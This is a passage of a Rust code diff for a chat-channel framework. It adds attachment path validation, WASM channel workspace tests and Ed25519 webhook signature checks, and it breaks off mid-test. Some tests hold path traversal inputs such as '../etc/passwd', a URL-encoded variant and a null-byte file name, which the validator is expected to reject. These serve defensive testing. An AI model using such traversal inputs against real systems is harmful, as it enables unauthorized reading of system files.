let target = RecipientTarget::Direct("+5555555555".to_string());
|
||||
let attachments = vec!["/path/to/image.png".to_string()];
|
||||
let params = ch.build_rpc_params(&target, None, Some(&attachments));
|
||||
assert!(params.get("message").is_none());
|
||||
assert_eq!(
|
||||
params["attachments"],
|
||||
serde_json::json!(["/path/to/image.png"])
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_rpc_params_group_with_attachments() -> Result<(), ChannelError> {
|
||||
let ch = make_channel()?;
|
||||
let target = RecipientTarget::Group("abc123".to_string());
|
||||
let attachments = vec!["/path/to/photo.jpg".to_string()];
|
||||
let params = ch.build_rpc_params(&target, Some("Group photo"), Some(&attachments));
|
||||
assert_eq!(params["groupId"], "abc123");
|
||||
assert_eq!(params["message"], "Group photo");
|
||||
assert_eq!(
|
||||
params["attachments"],
|
||||
serde_json::json!(["/path/to/photo.jpg"])
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ── OutgoingResponse attachment tests ─────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn outgoing_response_with_attachments() {
|
||||
let response = OutgoingResponse::text("Hello with file")
|
||||
.with_attachments(vec!["/path/to/file.png".to_string()]);
|
||||
assert_eq!(response.content, "Hello with file");
|
||||
assert!(
|
||||
response
|
||||
.attachments
|
||||
.contains(&"/path/to/file.png".to_string())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn outgoing_response_text_empty_attachments() {
|
||||
let response = OutgoingResponse::text("Hello");
|
||||
assert_eq!(response.content, "Hello");
|
||||
assert!(response.attachments.is_empty());
|
||||
}
|
||||
|
||||
// ── metadata assertion tests ────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
@@ -2450,4 +2653,114 @@ mod tests {
|
||||
assert_eq!(ch.config.http_url, "http://127.0.0.1:8686");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ── attachment path validation ───────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn validate_attachment_paths_rejects_double_dot() {
|
||||
let paths = vec!["../etc/passwd".to_string()];
|
||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
||||
assert!(result.is_err());
|
||||
let err = result.unwrap_err().to_string();
|
||||
assert!(err.contains("forbidden") || err.contains("sandbox"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn validate_attachment_paths_accepts_normal_paths() {
|
||||
use std::fs;
|
||||
|
||||
// Create test files in sandbox
|
||||
let base_dir = crate::bootstrap::ironclaw_base_dir();
|
||||
|
||||
// Create sandbox directory if it doesn't exist (needed for CI)
|
||||
let _ = fs::create_dir_all(&base_dir);
|
||||
|
||||
let temp_dir = tempfile::tempdir_in(&base_dir).unwrap();
|
||||
let file1 = temp_dir.path().join("file.txt");
|
||||
let file2 = temp_dir.path().join("report.pdf");
|
||||
fs::write(&file1, "test").unwrap();
|
||||
fs::write(&file2, "test").unwrap();
|
||||
|
||||
let paths = vec![
|
||||
file1.to_string_lossy().to_string(),
|
||||
file2.to_string_lossy().to_string(),
|
||||
];
|
||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
||||
assert!(result.is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn validate_attachment_paths_rejects_nested_traversal() {
|
||||
let paths = vec!["foo/../bar/../../secret.txt".to_string()];
|
||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn validate_attachment_paths_empty_ok() {
|
||||
let paths: Vec<String> = vec![];
|
||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
||||
assert!(result.is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn validate_attachment_paths_rejects_path_outside_sandbox() {
|
||||
let paths = vec!["/tmp/evil.txt".to_string()];
|
||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
||||
assert!(result.is_err());
|
||||
let err = result.unwrap_err().to_string();
|
||||
assert!(err.contains("sandbox"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn validate_attachment_paths_rejects_url_encoded_traversal() {
|
||||
let paths = vec!["%2e%2e%2fetc/passwd".to_string()];
|
||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn validate_attachment_paths_rejects_null_byte() {
|
||||
let paths = vec!["file\0.txt".to_string()];
|
||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
// ── conversation context ───────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn conversation_context_extracts_sender() {
|
||||
let ch = SignalChannel::new(make_config()).unwrap();
|
||||
let metadata = serde_json::json!({
|
||||
"signal_sender": "+1234567890",
|
||||
"signal_sender_uuid": "uuid-123",
|
||||
"signal_target": "+0987654321"
|
||||
});
|
||||
let ctx = ch.conversation_context(&metadata);
|
||||
assert_eq!(ctx.get("sender"), Some(&"+1234567890".to_string()));
|
||||
assert_eq!(ctx.get("sender_uuid"), Some(&"uuid-123".to_string()));
|
||||
assert!(!ctx.contains_key("group"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn conversation_context_extracts_group() {
|
||||
let ch = SignalChannel::new(make_config()).unwrap();
|
||||
let metadata = serde_json::json!({
|
||||
"signal_sender": "+1234567890",
|
||||
"signal_target": "group:mygroup"
|
||||
});
|
||||
let ctx = ch.conversation_context(&metadata);
|
||||
assert_eq!(ctx.get("sender"), Some(&"+1234567890".to_string()));
|
||||
assert_eq!(ctx.get("group"), Some(&"group:mygroup".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn conversation_context_empty_for_unknown_channel() {
|
||||
let ch = SignalChannel::new(make_config()).unwrap();
|
||||
let metadata = serde_json::json!({
|
||||
"unknown_key": "value"
|
||||
});
|
||||
let ctx = ch.conversation_context(&metadata);
|
||||
assert!(ctx.is_empty());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -594,4 +594,170 @@ mod tests {
|
||||
Some("200".to_string())
|
||||
);
|
||||
}
|
||||
|
||||
// === QA Plan P2 - 2.3: WASM channel lifecycle tests ===
|
||||
|
||||
#[test]
|
||||
fn test_workspace_write_then_read_round_trip() {
|
||||
// Full lifecycle: write in one "callback", commit, then read in a
|
||||
// subsequent "callback" using the same store as the workspace reader.
|
||||
use crate::channels::wasm::host::ChannelWorkspaceStore;
|
||||
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
|
||||
use std::sync::Arc;
|
||||
|
||||
let store = Arc::new(ChannelWorkspaceStore::new());
|
||||
|
||||
// --- Callback 1: write workspace data ---
|
||||
let caps = ChannelCapabilities::for_channel("telegram");
|
||||
let mut state = ChannelHostState::new("telegram", caps);
|
||||
|
||||
state
|
||||
.workspace_write("offset", "12345".to_string())
|
||||
.unwrap();
|
||||
state
|
||||
.workspace_write("state.json", r#"{"ok":true}"#.to_string())
|
||||
.unwrap();
|
||||
|
||||
let writes = state.take_pending_writes();
|
||||
assert_eq!(writes.len(), 2);
|
||||
store.commit_writes(&writes);
|
||||
|
||||
// --- Callback 2: read back the data written in callback 1 ---
|
||||
// Build capabilities with the store as the workspace reader.
|
||||
let mut caps2 = ChannelCapabilities::for_channel("telegram");
|
||||
caps2.tool_capabilities.workspace_read = Some(WorkspaceCapability {
|
||||
allowed_prefixes: vec![], // empty = all paths allowed
|
||||
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
|
||||
});
|
||||
let state2 = ChannelHostState::new("telegram", caps2);
|
||||
|
||||
// workspace_read prefixes path with "channels/telegram/" before delegating.
|
||||
let offset = state2.workspace_read("offset").unwrap();
|
||||
assert_eq!(offset, Some("12345".to_string()));
|
||||
|
||||
let json = state2.workspace_read("state.json").unwrap();
|
||||
assert_eq!(json, Some(r#"{"ok":true}"#.to_string()));
|
||||
|
||||
// Non-existent key returns None.
|
||||
let missing = state2.workspace_read("no_such_key").unwrap();
|
||||
assert!(missing.is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_workspace_overwrite_across_callbacks() {
|
||||
// Verify that a second write to the same key overwrites the first.
|
||||
use crate::channels::wasm::host::ChannelWorkspaceStore;
|
||||
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
|
||||
use std::sync::Arc;
|
||||
|
||||
let store = Arc::new(ChannelWorkspaceStore::new());
|
||||
|
||||
// Callback 1: write initial value.
|
||||
let caps = ChannelCapabilities::for_channel("slack");
|
||||
let mut state = ChannelHostState::new("slack", caps);
|
||||
state.workspace_write("cursor", "100".to_string()).unwrap();
|
||||
let writes = state.take_pending_writes();
|
||||
store.commit_writes(&writes);
|
||||
|
||||
// Callback 2: overwrite the same key.
|
||||
let caps2 = ChannelCapabilities::for_channel("slack");
|
||||
let mut state2 = ChannelHostState::new("slack", caps2);
|
||||
state2.workspace_write("cursor", "200".to_string()).unwrap();
|
||||
let writes2 = state2.take_pending_writes();
|
||||
store.commit_writes(&writes2);
|
||||
|
||||
// Callback 3: read back -- should see the overwritten value.
|
||||
let mut caps3 = ChannelCapabilities::for_channel("slack");
|
||||
caps3.tool_capabilities.workspace_read = Some(WorkspaceCapability {
|
||||
allowed_prefixes: vec![],
|
||||
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
|
||||
});
|
||||
let state3 = ChannelHostState::new("slack", caps3);
|
||||
|
||||
let value = state3.workspace_read("cursor").unwrap();
|
||||
assert_eq!(value, Some("200".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_emit_and_take_preserves_order_and_content() {
|
||||
// Emit multiple messages, take them, verify order and content.
|
||||
let caps = ChannelCapabilities::for_channel("discord");
|
||||
let mut state = ChannelHostState::new("discord", caps);
|
||||
|
||||
let messages_data = vec![
|
||||
("user-a", "Hello from A"),
|
||||
("user-b", "Hello from B"),
|
||||
("user-a", "Follow-up from A"),
|
||||
];
|
||||
for (uid, content) in &messages_data {
|
||||
state
|
||||
.emit_message(EmittedMessage::new(*uid, *content))
|
||||
.unwrap();
|
||||
}
|
||||
|
||||
assert_eq!(state.emitted_count(), 3);
|
||||
|
||||
let taken = state.take_emitted_messages();
|
||||
assert_eq!(taken.len(), 3);
|
||||
|
||||
// Order preserved.
|
||||
for (i, (uid, content)) in messages_data.iter().enumerate() {
|
||||
assert_eq!(taken[i].user_id, *uid);
|
||||
assert_eq!(taken[i].content, *content);
|
||||
}
|
||||
|
||||
// Take empties the queue.
|
||||
assert_eq!(state.emitted_count(), 0);
|
||||
let taken2 = state.take_emitted_messages();
|
||||
assert!(taken2.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_channels_have_isolated_namespaces() {
|
||||
// Two channels writing to the same relative path should not collide.
|
||||
use crate::channels::wasm::host::ChannelWorkspaceStore;
|
||||
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
|
||||
use std::sync::Arc;
|
||||
|
||||
let store = Arc::new(ChannelWorkspaceStore::new());
|
||||
|
||||
// Telegram writes "offset" = "100".
|
||||
let caps_tg = ChannelCapabilities::for_channel("telegram");
|
||||
let mut state_tg = ChannelHostState::new("telegram", caps_tg);
|
||||
state_tg
|
||||
.workspace_write("offset", "100".to_string())
|
||||
.unwrap();
|
||||
store.commit_writes(&state_tg.take_pending_writes());
|
||||
|
||||
// Slack writes "offset" = "200".
|
||||
let caps_sl = ChannelCapabilities::for_channel("slack");
|
||||
let mut state_sl = ChannelHostState::new("slack", caps_sl);
|
||||
state_sl
|
||||
.workspace_write("offset", "200".to_string())
|
||||
.unwrap();
|
||||
store.commit_writes(&state_sl.take_pending_writes());
|
||||
|
||||
// Reading back: each channel sees its own value.
|
||||
let mut caps_tg_read = ChannelCapabilities::for_channel("telegram");
|
||||
caps_tg_read.tool_capabilities.workspace_read = Some(WorkspaceCapability {
|
||||
allowed_prefixes: vec![],
|
||||
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
|
||||
});
|
||||
let tg_reader = ChannelHostState::new("telegram", caps_tg_read);
|
||||
assert_eq!(
|
||||
tg_reader.workspace_read("offset").unwrap(),
|
||||
Some("100".to_string())
|
||||
);
|
||||
|
||||
let mut caps_sl_read = ChannelCapabilities::for_channel("slack");
|
||||
caps_sl_read.tool_capabilities.workspace_read = Some(WorkspaceCapability {
|
||||
allowed_prefixes: vec![],
|
||||
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
|
||||
});
|
||||
let sl_reader = ChannelHostState::new("slack", caps_sl_read);
|
||||
assert_eq!(
|
||||
sl_reader.workspace_read("offset").unwrap(),
|
||||
Some("200".to_string())
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,28 +11,45 @@ use std::sync::Arc;
|
||||
|
||||
use tokio::fs;
|
||||
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
use crate::channels::wasm::capabilities::ChannelCapabilities;
|
||||
use crate::channels::wasm::error::WasmChannelError;
|
||||
use crate::channels::wasm::runtime::WasmChannelRuntime;
|
||||
use crate::channels::wasm::schema::ChannelCapabilitiesFile;
|
||||
use crate::channels::wasm::wrapper::WasmChannel;
|
||||
use crate::db::SettingsStore;
|
||||
use crate::pairing::PairingStore;
|
||||
use crate::secrets::SecretsStore;
|
||||
|
||||
/// Loads WASM channels from the filesystem.
|
||||
pub struct WasmChannelLoader {
|
||||
runtime: Arc<WasmChannelRuntime>,
|
||||
pairing_store: Arc<PairingStore>,
|
||||
settings_store: Option<Arc<dyn SettingsStore>>,
|
||||
secrets_store: Option<Arc<dyn SecretsStore + Send + Sync>>,
|
||||
}
|
||||
|
||||
impl WasmChannelLoader {
|
||||
/// Create a new loader with the given runtime and pairing store.
|
||||
pub fn new(runtime: Arc<WasmChannelRuntime>, pairing_store: Arc<PairingStore>) -> Self {
|
||||
pub fn new(
|
||||
runtime: Arc<WasmChannelRuntime>,
|
||||
pairing_store: Arc<PairingStore>,
|
||||
settings_store: Option<Arc<dyn SettingsStore>>,
|
||||
) -> Self {
|
||||
Self {
|
||||
runtime,
|
||||
pairing_store,
|
||||
settings_store,
|
||||
secrets_store: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Set the secrets store for host-based credential injection in WASM channels.
|
||||
pub fn with_secrets_store(mut self, store: Arc<dyn SecretsStore + Send + Sync>) -> Self {
|
||||
self.secrets_store = Some(store);
|
||||
self
|
||||
}
|
||||
|
||||
/// Load a single WASM channel from a file pair.
|
||||
///
|
||||
/// Expects:
|
||||
@@ -119,13 +136,17 @@ impl WasmChannelLoader {
|
||||
.await?;
|
||||
|
||||
// Create the channel
|
||||
let channel = WasmChannel::new(
|
||||
let mut channel = WasmChannel::new(
|
||||
self.runtime.clone(),
|
||||
prepared,
|
||||
capabilities,
|
||||
config_json,
|
||||
self.pairing_store.clone(),
|
||||
self.settings_store.clone(),
|
||||
);
|
||||
if let Some(ref secrets) = self.secrets_store {
|
||||
channel = channel.with_secrets_store(Arc::clone(secrets));
|
||||
}
|
||||
|
||||
tracing::info!(
|
||||
name = name,
|
||||
@@ -248,6 +269,13 @@ impl LoadedChannel {
|
||||
.and_then(|f| f.webhook_secret_header())
|
||||
}
|
||||
|
||||
/// Get the signature verification key secret name from capabilities.
|
||||
pub fn signature_key_secret_name(&self) -> Option<String> {
|
||||
self.capabilities_file
|
||||
.as_ref()
|
||||
.and_then(|f| f.signature_key_secret_name().map(|s| s.to_string()))
|
||||
}
|
||||
|
||||
/// Get the webhook secret name from capabilities.
|
||||
pub fn webhook_secret_name(&self) -> String {
|
||||
self.capabilities_file
|
||||
@@ -349,10 +377,7 @@ pub struct DiscoveredChannel {
|
||||
/// Returns ~/.ironclaw/channels/
|
||||
#[allow(dead_code)]
|
||||
pub fn default_channels_dir() -> PathBuf {
|
||||
dirs::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".ironclaw")
|
||||
.join("channels")
|
||||
ironclaw_base_dir().join("channels")
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
@@ -416,11 +441,23 @@ mod tests {
|
||||
assert!(channels.contains_key("channel"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_loaded_channel_signature_key_none_without_caps() {
|
||||
// We can't easily construct a WasmChannel without a runtime, so test
|
||||
// the delegation logic directly: when capabilities_file is None, the
|
||||
// chain returns None (same logic as LoadedChannel::signature_key_secret_name).
|
||||
let cap_file: Option<crate::channels::wasm::schema::ChannelCapabilitiesFile> = None;
|
||||
let result = cap_file
|
||||
.as_ref()
|
||||
.and_then(|f| f.signature_key_secret_name().map(|s| s.to_string()));
|
||||
assert_eq!(result, None);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_loader_invalid_name() {
|
||||
let config = WasmChannelRuntimeConfig::for_testing();
|
||||
let runtime = Arc::new(WasmChannelRuntime::new(config).unwrap());
|
||||
let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new()));
|
||||
let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new()), None);
|
||||
|
||||
let dir = TempDir::new().unwrap();
|
||||
let wasm_path = dir.path().join("test.wasm");
|
||||
|
||||
@@ -86,6 +86,7 @@ mod loader;
|
||||
mod router;
|
||||
mod runtime;
|
||||
mod schema;
|
||||
pub(crate) mod signature;
|
||||
mod wrapper;
|
||||
|
||||
// Core types
|
||||
|
||||
@@ -42,6 +42,8 @@ pub struct WasmChannelRouter {
|
||||
secrets: RwLock<HashMap<String, String>>,
|
||||
/// Webhook secret header names by channel name (e.g., "X-Telegram-Bot-Api-Secret-Token").
|
||||
secret_headers: RwLock<HashMap<String, String>>,
|
||||
/// Ed25519 public keys for signature verification by channel name (hex-encoded).
|
||||
signature_keys: RwLock<HashMap<String, String>>,
|
||||
}
|
||||
|
||||
impl WasmChannelRouter {
|
||||
@@ -52,6 +54,7 @@ impl WasmChannelRouter {
|
||||
path_to_channel: RwLock::new(HashMap::new()),
|
||||
secrets: RwLock::new(HashMap::new()),
|
||||
secret_headers: RwLock::new(HashMap::new()),
|
||||
signature_keys: RwLock::new(HashMap::new()),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -130,6 +133,7 @@ impl WasmChannelRouter {
|
||||
self.channels.write().await.remove(channel_name);
|
||||
self.secrets.write().await.remove(channel_name);
|
||||
self.secret_headers.write().await.remove(channel_name);
|
||||
self.signature_keys.write().await.remove(channel_name);
|
||||
|
||||
// Remove all paths for this channel
|
||||
self.path_to_channel
|
||||
@@ -174,6 +178,36 @@ impl WasmChannelRouter {
|
||||
pub async fn list_paths(&self) -> Vec<String> {
|
||||
self.path_to_channel.read().await.keys().cloned().collect()
|
||||
}
|
||||
|
||||
/// Register an Ed25519 public key for signature verification.
|
||||
///
|
||||
/// Validates that the key is valid hex encoding of a 32-byte Ed25519 public key.
|
||||
/// Channels with a registered key will have Discord-style Ed25519
|
||||
/// signature validation performed before forwarding to WASM.
|
||||
pub async fn register_signature_key(
|
||||
&self,
|
||||
channel_name: &str,
|
||||
public_key_hex: &str,
|
||||
) -> Result<(), String> {
|
||||
use ed25519_dalek::VerifyingKey;
|
||||
|
||||
let key_bytes = hex::decode(public_key_hex).map_err(|e| format!("invalid hex: {e}"))?;
|
||||
VerifyingKey::try_from(key_bytes.as_slice())
|
||||
.map_err(|e| format!("invalid Ed25519 public key: {e}"))?;
|
||||
|
||||
self.signature_keys
|
||||
.write()
|
||||
.await
|
||||
.insert(channel_name.to_string(), public_key_hex.to_string());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Get the signature verification key for a channel.
|
||||
///
|
||||
/// Returns `None` if no key is registered (no signature check needed).
|
||||
pub async fn get_signature_key(&self, channel_name: &str) -> Option<String> {
|
||||
self.signature_keys.read().await.get(channel_name).cloned()
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for WasmChannelRouter {
|
||||
@@ -342,6 +376,57 @@ async fn webhook_handler(
|
||||
}
|
||||
}
|
||||
|
||||
// Ed25519 signature verification (Discord-style)
|
||||
if let Some(pub_key_hex) = state.router.get_signature_key(channel_name).await {
|
||||
let sig_hex = headers
|
||||
.get("x-signature-ed25519")
|
||||
.and_then(|v| v.to_str().ok());
|
||||
let timestamp = headers
|
||||
.get("x-signature-timestamp")
|
||||
.and_then(|v| v.to_str().ok());
|
||||
|
||||
match (sig_hex, timestamp) {
|
||||
(Some(sig), Some(ts)) => {
|
||||
let now_secs = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap_or_default()
|
||||
.as_secs() as i64;
|
||||
|
||||
if !crate::channels::wasm::signature::verify_discord_signature(
|
||||
&pub_key_hex,
|
||||
sig,
|
||||
ts,
|
||||
&body,
|
||||
now_secs,
|
||||
) {
|
||||
tracing::warn!(
|
||||
channel = %channel_name,
|
||||
"Ed25519 signature verification failed"
|
||||
);
|
||||
return (
|
||||
StatusCode::UNAUTHORIZED,
|
||||
Json(serde_json::json!({
|
||||
"error": "Invalid signature"
|
||||
})),
|
||||
);
|
||||
}
|
||||
tracing::debug!(channel = %channel_name, "Ed25519 signature verified");
|
||||
}
|
||||
_ => {
|
||||
tracing::warn!(
|
||||
channel = %channel_name,
|
||||
"Signature headers missing but key is registered"
|
||||
);
|
||||
return (
|
||||
StatusCode::UNAUTHORIZED,
|
||||
Json(serde_json::json!({
|
||||
"error": "Missing signature headers"
|
||||
})),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Convert headers to HashMap
|
||||
let headers_map: HashMap<String, String> = headers
|
||||
.iter()
|
||||
@@ -516,6 +601,7 @@ mod tests {
|
||||
capabilities,
|
||||
"{}".to_string(),
|
||||
Arc::new(PairingStore::new()),
|
||||
None,
|
||||
))
|
||||
}
|
||||
|
||||
@@ -644,4 +730,437 @@ mod tests {
|
||||
.await;
|
||||
assert_eq!(router.get_secret_header("slack").await, "X-Webhook-Secret");
|
||||
}
|
||||
|
||||
// ── Category 3: Router Signature Key Management ─────────────────────
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_register_and_get_signature_key() {
|
||||
let router = WasmChannelRouter::new();
|
||||
let channel = create_test_channel("discord");
|
||||
|
||||
router.register(channel, vec![], None, None).await;
|
||||
|
||||
let fake_pub_key = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2";
|
||||
router
|
||||
.register_signature_key("discord", fake_pub_key)
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let key = router.get_signature_key("discord").await;
|
||||
assert_eq!(key, Some(fake_pub_key.to_string()));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_no_signature_key_returns_none() {
|
||||
let router = WasmChannelRouter::new();
|
||||
let channel = create_test_channel("slack");
|
||||
router.register(channel, vec![], None, None).await;
|
||||
|
||||
// Slack has no signature key registered
|
||||
let key = router.get_signature_key("slack").await;
|
||||
assert!(key.is_none());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_unregister_removes_signature_key() {
|
||||
let router = WasmChannelRouter::new();
|
||||
let channel = create_test_channel("discord");
|
||||
|
||||
let endpoints = vec![RegisteredEndpoint {
|
||||
channel_name: "discord".to_string(),
|
||||
path: "/webhook/discord".to_string(),
|
||||
methods: vec!["POST".to_string()],
|
||||
require_secret: false,
|
||||
}];
|
||||
|
||||
router.register(channel, endpoints, None, None).await;
|
||||
// Use a valid 32-byte Ed25519 key for this test
|
||||
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
|
||||
router
|
||||
.register_signature_key("discord", valid_key)
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
// Key should exist
|
||||
assert!(router.get_signature_key("discord").await.is_some());
|
||||
|
||||
// Unregister
|
||||
router.unregister("discord").await;
|
||||
|
||||
// Key should be gone
|
||||
assert!(router.get_signature_key("discord").await.is_none());
|
||||
}
|
||||
|
||||
// ── Key Validation Tests ──────────────────────────────────────────
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_register_valid_signature_key_succeeds() {
|
||||
let router = WasmChannelRouter::new();
|
||||
let channel = create_test_channel("discord");
|
||||
router.register(channel, vec![], None, None).await;
|
||||
|
||||
// Valid 32-byte Ed25519 public key (from test keypair)
|
||||
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
|
||||
let result = router.register_signature_key("discord", valid_key).await;
|
||||
assert!(result.is_ok(), "Valid Ed25519 key should be accepted");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_register_invalid_hex_key_fails() {
|
||||
let router = WasmChannelRouter::new();
|
||||
let channel = create_test_channel("discord");
|
||||
router.register(channel, vec![], None, None).await;
|
||||
|
||||
let result = router
|
||||
.register_signature_key("discord", "not-valid-hex-zzz")
|
||||
.await;
|
||||
assert!(result.is_err(), "Invalid hex should be rejected");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_register_wrong_length_key_fails() {
|
||||
let router = WasmChannelRouter::new();
|
||||
let channel = create_test_channel("discord");
|
||||
router.register(channel, vec![], None, None).await;
|
||||
|
||||
// 16 bytes instead of 32
|
||||
let short_key = hex::encode([0u8; 16]);
|
||||
let result = router.register_signature_key("discord", &short_key).await;
|
||||
assert!(result.is_err(), "Wrong-length key should be rejected");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_register_empty_key_fails() {
|
||||
let router = WasmChannelRouter::new();
|
||||
let channel = create_test_channel("discord");
|
||||
router.register(channel, vec![], None, None).await;
|
||||
|
||||
let result = router.register_signature_key("discord", "").await;
|
||||
assert!(result.is_err(), "Empty key should be rejected");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_valid_key_is_retrievable() {
|
||||
let router = WasmChannelRouter::new();
|
||||
let channel = create_test_channel("discord");
|
||||
router.register(channel, vec![], None, None).await;
|
||||
|
||||
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
|
||||
router
|
||||
.register_signature_key("discord", valid_key)
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let stored = router.get_signature_key("discord").await;
|
||||
assert_eq!(stored, Some(valid_key.to_string()));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_invalid_key_does_not_store() {
|
||||
let router = WasmChannelRouter::new();
|
||||
let channel = create_test_channel("discord");
|
||||
router.register(channel, vec![], None, None).await;
|
||||
|
||||
// Attempt to register invalid key
|
||||
let _ = router
|
||||
.register_signature_key("discord", "not-valid-hex")
|
||||
.await;
|
||||
|
||||
// Should not have stored anything
|
||||
let stored = router.get_signature_key("discord").await;
|
||||
assert!(stored.is_none(), "Invalid key should not be stored");
|
||||
}
|
||||
|
||||
// ── Webhook Handler Integration Tests ─────────────────────────────
|
||||
|
||||
use axum::Router as AxumRouter;
|
||||
use axum::body::Body;
|
||||
use axum::http::{Request, StatusCode};
|
||||
use tower::ServiceExt;
|
||||
|
||||
use crate::channels::wasm::router::create_wasm_channel_router;
|
||||
use ed25519_dalek::{Signer, SigningKey};
|
||||
|
||||
/// Helper to create a router with a registered channel at /webhook/discord.
|
||||
async fn setup_discord_router() -> (Arc<WasmChannelRouter>, AxumRouter) {
|
||||
let wasm_router = Arc::new(WasmChannelRouter::new());
|
||||
let channel = create_test_channel("discord");
|
||||
|
||||
let endpoints = vec![RegisteredEndpoint {
|
||||
channel_name: "discord".to_string(),
|
||||
path: "/webhook/discord".to_string(),
|
||||
methods: vec!["POST".to_string()],
|
||||
require_secret: false,
|
||||
}];
|
||||
|
||||
wasm_router.register(channel, endpoints, None, None).await;
|
||||
|
||||
let app = create_wasm_channel_router(wasm_router.clone(), None);
|
||||
(wasm_router, app)
|
||||
}
|
||||
|
||||
/// Helper: generate a test keypair.
|
||||
fn test_signing_key() -> SigningKey {
|
||||
SigningKey::from_bytes(&[
|
||||
0x9d, 0x61, 0xb1, 0x9d, 0xef, 0xfd, 0x5a, 0x60, 0xba, 0x84, 0x4a, 0xf4, 0x92, 0xec,
|
||||
0x2c, 0xc4, 0x44, 0x49, 0xc5, 0x69, 0x7b, 0x32, 0x69, 0x19, 0x70, 0x3b, 0xac, 0x03,
|
||||
0x1c, 0xae, 0x7f, 0x60,
|
||||
])
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_webhook_rejects_missing_sig_headers() {
|
||||
let (wasm_router, app) = setup_discord_router().await;
|
||||
|
||||
// Register a signature key
|
||||
let signing_key = test_signing_key();
|
||||
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
|
||||
wasm_router
|
||||
.register_signature_key("discord", &pub_key_hex)
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
// Send request without signature headers
|
||||
let req = Request::builder()
|
||||
.method("POST")
|
||||
.uri("/webhook/discord")
|
||||
.header("content-type", "application/json")
|
||||
.body(Body::from(r#"{"type":1}"#))
|
||||
.unwrap();
|
||||
|
||||
let resp = app.oneshot(req).await.unwrap();
|
||||
assert_eq!(
|
||||
resp.status(),
|
||||
StatusCode::UNAUTHORIZED,
|
||||
"Missing signature headers should return 401"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_webhook_rejects_invalid_signature() {
|
||||
let (wasm_router, app) = setup_discord_router().await;
|
||||
|
||||
let signing_key = test_signing_key();
|
||||
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
|
||||
wasm_router
|
||||
.register_signature_key("discord", &pub_key_hex)
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let req = Request::builder()
|
||||
.method("POST")
|
||||
.uri("/webhook/discord")
|
||||
.header("content-type", "application/json")
|
||||
